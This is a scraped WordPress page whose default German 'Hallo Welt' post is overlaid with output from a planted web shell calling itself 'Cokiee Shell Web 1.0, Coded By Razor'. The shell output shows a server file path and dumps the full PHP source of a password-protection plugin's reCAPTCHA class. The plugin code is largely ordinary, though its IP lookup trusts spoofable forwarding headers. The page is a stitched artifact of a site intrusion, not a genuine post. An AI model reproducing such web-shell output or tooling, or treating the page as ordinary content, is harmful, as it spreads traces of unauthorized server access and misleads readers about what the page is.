Willkommen bei WordPress. Dies ist dein erster Beitrag. Bearbeite oder lösche ihn und beginne mit dem Schreiben!
Hallo Welt!
von raredesign | Dez 3, 2019 | Allgemein | 0 Kommentare
Cokiee Shell
Current Path : /var/www/web28/html/wp-content/plugins/password-protected/admin/ |
Current File : //var/www/web28/html/wp-content/plugins/password-protected/admin/class-recaptcha.php |
<?php if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly } /** * @package Password Protected * @subpackage reCAPTCHA * * @since 2.6 */ class Password_Protected_reCAPTCHA { public $options_group = 'password-protected-recaptcha'; public $options_name = 'password_protected_recaptcha'; public $tab = 'password-protected&tab=advanced'; public $settings = array(); /** * Constructor * * @since 2.6 * * @internal public. This class should only be instantiated once by the plugin. */ public function __construct() { $options = get_option( $this->options_name ); if ( empty( $options ) || ! $options ) { $this->settings = $this->get_default_reCAPTCHA_settings(); } else { $this->settings = get_option( $this->options_name ); } add_action( 'admin_init', array( $this, 'register_reCAPTCHA_settings' ), 6 ); add_action( 'password_protected_subtab_google-recaptcha_content', array( $this, 'google_recaptcha_settings' ) ); add_action( 'password_protected_after_password_field', array( $this, 'add_recaptcha' ) ); add_filter( 'password_protected_verify_recaptcha', array( $this, 'verify_recaptcha' ) ); } /** * reCAPTCHA Default Settings * * @return array * @since 2.6 */ private function get_default_reCAPTCHA_settings(): array { return array( 'enable' => 0, 'version' => 'google_recaptcha_v2', 'v2_site_key' => null, 'v3_site_key' => null, 'v2_secret_key' => null, 'v3_secret_key' => null, 'v3_score' => 0.3, 'v3_badge' => 'bottomright', 'v2_theme' => 'light', ); } public function google_recaptcha_settings() { ?> <div class="wrap"> <h1><?php _e( 'Google reCAPTCHA Settings', 'password-protected' ); ?></h1> <form method="post" action="options.php"> <?php settings_fields( 'password-protected-advanced' ); do_settings_sections( 'password-protected&tab=advanced' ); submit_button(); ?> </form> </div> <?php } /** * reCAPTCHA Settings Info * * Displays information on the settings page for helping * to configure Password Protected to work with Google reCAPTCHA v2 and v3. * * @since 2.6 */ public function register_reCAPTCHA_settings() { // reCAPTCHA Section add_settings_section( $this->options_group, __( 'Google reCAPTCHA', 'password-protected' ), array( $this, 'reCAPTCHA_section' ), $this->tab ); // Enable reCAPTCHA add_settings_field( 'password_protected_enable_recaptcha', __( 'Enable reCAPTCHA ', 'password-protected' ), array( $this, 'reCAPTCHA_enable' ), $this->tab, $this->options_group ); // reCAPTCHA version v2/v3 add_settings_field( 'password_protected_recaptcha_settings', __( 'Captcha Settings', 'password-protected' ), array( $this, 'reCAPTCHA_setting' ), $this->tab, $this->options_group ); // reCAPTCHA v2/v3 sitekey add_settings_field( 'password_protected_recaptcha_v2_site_key', __( 'Site Key', 'password-protected' ), array( $this, 'reCAPTCHA_site_key' ), $this->tab, $this->options_group ); // reCAPTCHA v2/v3 secretkey add_settings_field( 'password_protected_recaptcha_v2_secret_key', __( 'Secret Key', 'password-protected' ), array( $this, 'reCAPTCHA_secret_key' ), $this->tab, $this->options_group ); // reCAPTCHA v3 score add_settings_field( 'password_protected_recaptcha_score', __( 'Score', 'password-protected' ), array( $this, 'reCAPTCHA_score' ), $this->tab, $this->options_group ); // reCAPTCHA v3 badgeposition add_settings_field( 'password_protected_recaptcha_badge_position', __( 'Badge Position', 'password-protected' ), array( $this, 'reCAPTCHA_badge_position' ), $this->tab, $this->options_group ); // reCAPTCHA v2 theme add_settings_field( 'password_protected_recaptcha_theme', __( 'Theme', 'password-protected' ), array( $this, 'reCAPTCHA_theme' ), $this->tab, $this->options_group ); // register settings in an array group. register_setting( 'password-protected-advanced', $this->options_name, array( 'type' => 'array' ) ); } /** * reCAPTCHA Screen * * @since 2.6 * * @return void password protected reCAPTCHA settings */ public static function recpatcha_screen() { do_settings_sections( 'password-protected&tab=advanced' ); submit_button(); } /** * reCAPTCHA Section * * @return void password protected reCAPTCHA section */ public function reCAPTCHA_section() { return 1; } /** * ENable reCAPTCHA * * @since 2.6 * * @return void password protected reCAPTCHA status field */ public function reCAPTCHA_enable() { echo '<div class="pp-toggle-wrapper"> <input name="' . esc_attr( $this->options_name ) . '[enable]" id="pp_enable_recaptcha" type="checkbox" value="1" ' . checked( 1, @$this->settings['enable'], false ) . ' /> <label class="pp-toggle" for="pp_enable_recaptcha"> <span class="pp-toggle-slider"></span> </label> </div> <label for="pp_enable_recaptcha"> ' . __( 'Enabled', 'password-protected' ) . ' </label>'; } /** * reCAPTCHA Version * * @since 2.6 * * @return void password protected reCAPTCHA version field */ public function reCAPTCHA_setting() { echo '<label> <input ' . checked( 'google_recaptcha_v2', $this->settings['version'], false ) . ' type="radio" name="' . esc_attr( $this->options_name ) . '[version]" value="google_recaptcha_v2" /> <span>Google reCAPTCHA Version 2</span> </label> <br /> <label> <input ' . checked( 'google_recaptcha_v3', $this->settings['version'], false ) . ' type="radio" name="' . esc_attr( $this->options_name ) . '[version]" value="google_recaptcha_v3" /> <span>Google reCAPTCHA Version 3</span> </label>'; } /** * reCAPTCHA Site Key * * @since 2.6 * * @return void password protected v2/v3 sitekey field */ public function reCAPTCHA_site_key() { echo '<div> <input name="' . esc_attr( $this->options_name ) . '[v2_site_key]" type="text" id="pp_google_recaptcha_v2_site_key" value="' . esc_attr( $this->settings['v2_site_key'] ) . '" class="regular-text" /> <p class="description"> Enter Google reCAPTCHA v2 Site Key. <a target="_blank" href="https://developers.google.com/recaptcha/intro#recaptcha-overview"> Click Here </a> </p> </div>'; echo '<div> <input name="' . esc_attr( $this->options_name ) . '[v3_site_key]" type="text" id="pp_google_recaptcha_v3_site_key" value="' . esc_attr( $this->settings['v3_site_key'] ) . '" class="regular-text" /> <p class="description"> Enter Google reCAPTCHA v3 Site Key. <a target="_blank" href="https://developers.google.com/recaptcha/intro#recaptcha-overview"> Click Here </a> </p> </div>'; } /** * reCAPTCHA Secret Key * * @since 2.6 * * @return void password protected v2/v3 secretkey field */ public function reCAPTCHA_secret_key() { echo '<div> <input name="' . esc_attr( $this->options_name ) . '[v2_secret_key]" type="text" id="pp_google_recaptcha_v2_secret_key" value="' . esc_attr( $this->settings['v2_secret_key'] ) . '" class="regular-text" /> <p class="description"> Enter Google reCAPTCHA v2 Secret Key. <a target="_blank" href="https://developers.google.com/recaptcha/intro#recaptcha-overview"> Click Here </a> </p> </div>'; echo '<div> <input name="' . esc_attr( $this->options_name ) . '[v3_secret_key]" type="text" id="pp_google_recaptcha_v3_secret_key" value="' . esc_attr( $this->settings['v3_secret_key'] ) . '" class="regular-text" /> <p class="description"> Enter Google reCAPTCHA v3 Secret Key. <a target="_blank" href="https://developers.google.com/recaptcha/intro#recaptcha-overview"> Click Here </a> </p> </div>'; } /** * reCAPTCHA V3 Score * * @since 2.6 * * @return void password protected v3 score field */ public function reCAPTCHA_score() { echo '<fieldset id="pp_google_recpatcha_v3_score"> <label> <input type="radio" name="' . esc_attr( $this->options_name ) . '[v3_score]" value="0.1" ' . checked( 0.1, $this->settings['v3_score'], false ) . ' /> <span>0.1</span> </label> <label> <input type="radio" name="' . esc_attr( $this->options_name ) . '[v3_score]" value="0.2" ' . checked( 0.2, $this->settings['v3_score'], false ) . ' /> <span>0.2</span> </label> <label> <input type="radio" name="' . esc_attr( $this->options_name ) . '[v3_score]" value="0.3" ' . checked( 0.3, $this->settings['v3_score'], false ) . ' /> <span>0.3</span> </label> <label> <input type="radio" name="' . esc_attr( $this->options_name ) . '[v3_score]" value="0.4" ' . checked( 0.4, $this->settings['v3_score'], false ) . ' /> <span>0.4</span> </label> <label> <input type="radio" name="' . esc_attr( $this->options_name ) . '[v3_score]" value="0.5" ' . checked( 0.5, $this->settings['v3_score'], false ) . ' /> <span>0.5</span> </label> <p class="description">Select Google Version 3 Score.</p> </fieldset>'; } /** * reCAPTCHA V3 Badge Position * * @since 2.6 * * @return void password protected v3 badgeposition field */ public function reCAPTCHA_badge_position() { echo '<fieldset id="pp_google_recpatcha_v3_badge"> <label> <input type="radio" name="' . esc_attr( $this->options_name ) . '[v3_badge]" value="inline" ' . checked( 'inline', $this->settings['v3_badge'], false ) . ' /> <span>Inline</span> </label> <label> <input type="radio" name="' . esc_attr( $this->options_name ) . '[v3_badge]" value="bottomleft" ' . checked( 'bottomleft', $this->settings['v3_badge'], false ) . ' /> <span>Bottom - Left</span> </label> <label> <input type="radio" name="' . esc_attr( $this->options_name ) . '[v3_badge]" value="bottomright" ' . checked( 'bottomright', $this->settings['v3_badge'], false ) . ' /> <span>Bottom - Right</span> </label> </fieldset>'; } /** * reCAPTCHA V2 Theme * * @since 2.6 * * @return void password protected v2 theme field */ public function reCAPTCHA_theme() { echo '<label> <input checked="checked" type="radio" name="' . esc_attr( $this->options_name ) . '[v2_theme]" value="light" ' . checked( 'light', $this->settings['v2_theme'], false ) . ' /> <span>Light</span> </label> <br /> <label> <input type="radio" name="' . esc_attr( $this->options_name ) . '[v2_theme]" value="dark" ' . checked( 'dark', $this->settings['v2_theme'], false ) . ' /> <span>Dark</span> </label> <p class="description">Select Google reCAPTCHA Version 2 Theme.</p>'; } /** * Add reCAPTCHA on Password Protected Form * * @since 2.6 * * @return void password protected reCAPTCHA v2 OR v3 */ public function add_recaptcha() { if ( ! @$this->settings['enable'] ) { return; // recpatcha is disabled } if ( $this->settings['version'] === 'google_recaptcha_v2' ) { $this->display_recaptcha_v2(); } if ( $this->settings['version'] === 'google_recaptcha_v3' ) { $this->display_recaptcha_v3(); } } /** * Diaplay reCAPTCHA V2 * * @since 2.6 * * @return void password protected reCAPTCHA v2 field */ public function display_recaptcha_v2() { global $Password_Protected; wp_enqueue_style( 'pp-recaptcha-style', plugin_dir_url( __DIR__ ) . 'assets/css/recaptcha.css', array(), $Password_Protected->version ); wp_enqueue_script( 'pp-recaptcha-api-v2', esc_url( 'https://www.google.com/recaptcha/api.js' ), array(), null ); echo '<div class="g-recaptcha" data-sitekey="' . esc_attr( $this->settings['v2_site_key'] ) . '" data-theme="' . esc_attr( $this->settings['v2_theme'] ) . '" > </div>'; } /** * Diaplay reCAPTCHA V3 * * @since 2.6 * * @return void password protected reCAPTCHA v3 field */ public function display_recaptcha_v3() { $grecaptcha_v3_site_key = isset( $this->settings['v3_site_key'] ) ? esc_attr( $this->settings['v3_site_key'] ) : ''; $grecaptcha_v3_badge = isset( $this->settings['v3_badge'] ) ? esc_attr( $this->settings['v3_badge'] ) : 'bottomright'; $script = <<<EOT if('function' !== typeof pprecaptcha) { function pprecaptcha() { grecaptcha.ready(function() { [].forEach.call(document.querySelectorAll('.pp-g-recaptcha'), function(el) { const action = el.getAttribute('data-action'); const form = el.form; form.addEventListener('submit', function(e) { e.preventDefault(); grecaptcha.execute('$grecaptcha_v3_site_key', {action: action}).then(function(token) { el.setAttribute('value', token); const button = form.querySelector('[type="submit"]'); if(button) { const input = document.createElement('input'); input.type = 'hidden'; input.name = button.getAttribute('name'); input.value = button.value; input.classList.add('pp-submit-input'); var inputEls = document.querySelectorAll('.pp-submit-input'); [].forEach.call(inputEls, function(inputEl) { inputEl.remove(); }); form.appendChild(input); } HTMLFormElement.prototype.submit.call(form); }); }); }); }); } } EOT; wp_enqueue_script( 'recaptcha-api-v3', ( 'https://www.google.com/recaptcha/api.js?onload=pprecaptcha&render=' . esc_attr( $grecaptcha_v3_site_key ) . '&badge=' . esc_attr( $grecaptcha_v3_badge ) ), array(), null ); wp_add_inline_script( 'recaptcha-api-v3', $script ); ?> <input type="hidden" name="g-recaptcha-response" id="g-recaptcha-response-password_protected" class="pp-g-recaptcha" data-action="password_protected"> <?php } /** * Verify reCAPTCHA * process reCAPTCHA * * @since 2.6 * * @return object WP_Error */ public function verify_recaptcha( $errors ) { if ( ! @$this->settings['enable'] ) { return $errors; // return errors } if ( $this->settings['version'] === 'google_recaptcha_v2' ) { $grecaptcha_v2_site_key = isset( $this->settings['v2_site_key'] ) ? esc_attr( $this->settings['v2_site_key'] ) : ''; $grecaptcha_v2_secret_key = isset( $this->settings['v2_secret_key'] ) ? esc_attr( $this->settings['v2_secret_key'] ) : ''; if ( empty( $grecaptcha_v2_site_key ) || empty( $grecaptcha_v2_secret_key ) ) { $errors->add( 001, 'Google reCaptcha keys not found.' ); } if ( isset( $_POST['g-recaptcha-response'] ) && ! empty( $_POST['g-recaptcha-response'] ) ) { $response = wp_remote_post( 'https://www.google.com/recaptcha/api/siteverify', array( 'body' => array( 'secret' => $grecaptcha_v2_secret_key, 'response' => sanitize_text_field( $_POST['g-recaptcha-response'] ), ), ) ); $data = wp_remote_retrieve_body( $response ); $data = json_decode( $data ); if ( isset( $data->{'error-codes'} ) && is_array( $data->{'error-codes'} ) && count( $data->{'error-codes'} ) ) { foreach ( $data->{'error-codes'} as $index => $error_code ) { $errors->add( $index, $error_code ); } } if ( isset( $data->success ) && true === $data->success ) { return $errors; } } $error_message = wp_kses( __( '<strong>ERROR:</strong> Please confirm you are not a robot.', 'password-protected' ), array( 'strong' => array() ) ); $errors->add( 'captcha_invalid', $error_message ); return $errors; } elseif ( $this->settings['version'] === 'google_recaptcha_v3' ) { $grecaptcha_v3_site_key = isset( $this->settings['v3_site_key'] ) ? esc_attr( $this->settings['v3_site_key'] ) : ''; $grecaptcha_v3_secret_key = isset( $this->settings['v3_secret_key'] ) ? esc_attr( $this->settings['v3_secret_key'] ) : ''; $grecaptcha_v3_score = isset( $this->settings['v3_score'] ) ? esc_attr( $this->settings['v3_score'] ) : '0.3'; if ( empty( $grecaptcha_v3_site_key ) || empty( $grecaptcha_v3_secret_key ) ) { $errors->add( 001, 'Google reCaptcha keys not found.' ); } if ( isset( $_POST['g-recaptcha-response'] ) && ! empty( $_POST['g-recaptcha-response'] ) ) { $response = wp_remote_post( 'https://www.google.com/recaptcha/api/siteverify', array( 'body' => array( 'secret' => $grecaptcha_v3_secret_key, 'response' => sanitize_text_field( $_POST['g-recaptcha-response'] ), 'remoteip' => self::get_ip_address(), ), ) ); $data = wp_remote_retrieve_body( $response ); $data = json_decode( $data ); if ( isset( $data->{'error-codes'} ) && is_array( $data->{'error-codes'} ) && count( $data->{'error-codes'} ) ) { foreach ( $data->{'error-codes'} as $index => $error_code ) { $errors->add( $index, $error_code ); } } if ( isset( $data->success ) && true === $data->success ) { $grecaptcha_v3_score = (float) $grecaptcha_v3_score; if ( isset( $data->action ) && ( 'password_protected' === $data->action ) && isset( $data->score ) && $data->score >= $grecaptcha_v3_score ) { return $errors; } else { $error_message = wp_kses( __( '<strong>ERROR:</strong> Low Score ', 'password-protected' ) . ':' . esc_html( $data->score ), array( 'strong' => array() ) ); $errors->add( 002, $error_message ); } } } return $errors; } } /** * Get IP Address * * @since 2.6 * * @return string client IP address */ private static function get_ip_address() { $ipaddress = ''; if ( isset( $_SERVER['HTTP_CLIENT_IP'] ) ) { $ipaddress = sanitize_text_field( $_SERVER['HTTP_CLIENT_IP'] ); } elseif ( isset( $_SERVER['HTTP_X_FORWARDED_FOR'] ) ) { $ipaddress = sanitize_text_field( $_SERVER['HTTP_X_FORWARDED_FOR'] ); } elseif ( isset( $_SERVER['HTTP_X_FORWARDED'] ) ) { $ipaddress = sanitize_text_field( $_SERVER['HTTP_X_FORWARDED'] ); } elseif ( isset( $_SERVER['HTTP_FORWARDED_FOR'] ) ) { $ipaddress = sanitize_text_field( $_SERVER['HTTP_FORWARDED_FOR'] ); } elseif ( isset( $_SERVER['HTTP_FORWARDED'] ) ) { $ipaddress = sanitize_text_field( $_SERVER['HTTP_FORWARDED'] ); } elseif ( isset( $_SERVER['REMOTE_ADDR'] ) ) { $ipaddress = sanitize_text_field( $_SERVER['REMOTE_ADDR'] ); } else { $ipaddress = 'UNKNOWN'; } return $ipaddress; } }
Cokiee Shell Web 1.0, Coded By Razor
Neueste Kommentare